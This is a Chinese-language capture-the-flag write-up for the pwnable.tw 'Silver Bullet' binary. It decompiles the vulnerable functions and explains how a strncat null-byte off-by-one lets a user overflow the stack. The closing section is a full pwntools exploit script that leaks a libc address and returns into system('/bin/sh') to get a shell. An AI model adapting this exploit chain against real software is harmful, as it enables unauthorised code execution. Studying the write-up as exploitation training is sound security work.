pwnable.tw_Silver Bullet

pwnable.tw_challenge_Silver Bullet

打开程序:

1
2
3
4
5
6
7
8
9
./silver_bullet
+++++++++++++++++++++++++++
Silver Bullet
+++++++++++++++++++++++++++
1. Create a Silver Bullet
2. Power up Silver Bullet
3. Beat the Werewolf
4. Return
++++++++++++++++++++++++++

类似一个游戏
开始没看懂怎么玩
直接载入IDA分析:

0x01 power_up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl power_up(char *dest)
{
char s; // [esp+0h] [ebp-34h]
size_t v3; // [esp+30h] [ebp-4h]

v3 = 0;
memset(&s, 0, 0x30u);
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 0x2Fu ) // *(dest+12)指针指向的值 > 47
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 48 - *((_DWORD *)dest + 12)); // 限制读入长度
strncat(dest, &s, 48 - *((_DWORD *)dest + 12)); //使用strncat连接两字符串,会自动在结尾添加\x00
v3 = strlen(&s) + *((_DWORD *)dest + 12);
printf("Your new power is : %u\n", v3);
*((_DWORD *)dest + 12) = v3;
return puts("Enjoy it !");
}

0x02 create_bullet

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl create_bullet(char *s)
{
size_t v2; // ST08_4

if ( *s )
return puts("You have been created the Bullet !");
printf("Give me your description of bullet :");
read_input(s, 0x30u);
v2 = strlen(s);
printf("Your power is : %u\n", v2); // s的长度
*((_DWORD *)s + 12) = v2; // +12指12个dword长度
return puts("Good luck !!");
}

0x03 漏洞利用

可以看出漏洞与决定游戏成功的beat函数无关
关键在power_up函数处:

1
2
read_input(&s, 48 - *((_DWORD *)dest + 12));  
strncat(dest, &s, 48 - *((_DWORD *)dest + 12));

这里依赖*dest+12处的值来限制读取长度
而*dest后的数据可以利用strnca修改
strncat会在字符串结尾自动补全\x00
当我们先读取了一定长度字符串
再连接一定长度字符串,两字符串恰好相加为48字节
并由于strncat自动添加\x00,便会覆盖*dest+12处的数据,造成栈溢出
而此时依然依赖*dest+12处的值来限制读取长度
我们便可以继续覆盖栈内数据
直到将main返回地址修改
我们需要调用system,便需要直到libc加载的基地址
同hacknote相同
我们可以修改main返回地址为put地址(即put在plt中的地址)
参数为.got中一个地址
便可利用put出的值以及此函数在libc中的位置计算出libc的基址
进而计算出system地址
而后我们重新利用上面的过程来调用system
所以我们要重新调用main来重复利用上述过程
此处我们将put的返回地址覆盖为main开始地址即可
有一点注意:
只有beat()成功时才会返回main
否则直接return会以exit(0)方式退出
故而覆盖*dest+12处的数时,需要让他满足win的条件

0x04 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

def create(s):
p.recvuntil(':')
p.sendline('1')
p.recvuntil(':')
p.sendline(s)

def power_up(s):
p.recvuntil(':')
p.sendline('2')
p.recvuntil(':')
p.send(s)

def beat():
p.recvuntil(':')
p.sendline('3')

p=remote('chall.pwnable.tw', 10103)
elf=ELF("./silver_bullet")
elib=ELF("./libc_32.so.6")
bin_sh_off = 0x158e8b
puts_addr=0x80484a8
read_got=elf.got["read"]
main_addr=elf.symbols["main"]
create('a'*47)
power_up('a')
payload = '\xff'*7+p32(puts_addr)+p32(main_addr)+p32(read_got)
power_up(payload)
beat()
p.recvuntil("You win !!\n")
read_addr = u32(p.recv(4))
sys_addr=read_addr-elib.symbols["read"]+elib.symbols["system"]
bin_sh_addr=read_addr-elib.symbols["read"]+bin_sh_off
create('a'*47)
power_up('a')
payload2='\xff'*7 + p32(sys_addr) + 'a'*4 + p32(bin_sh_addr)
power_up(payload2)
beat()
p.interactive()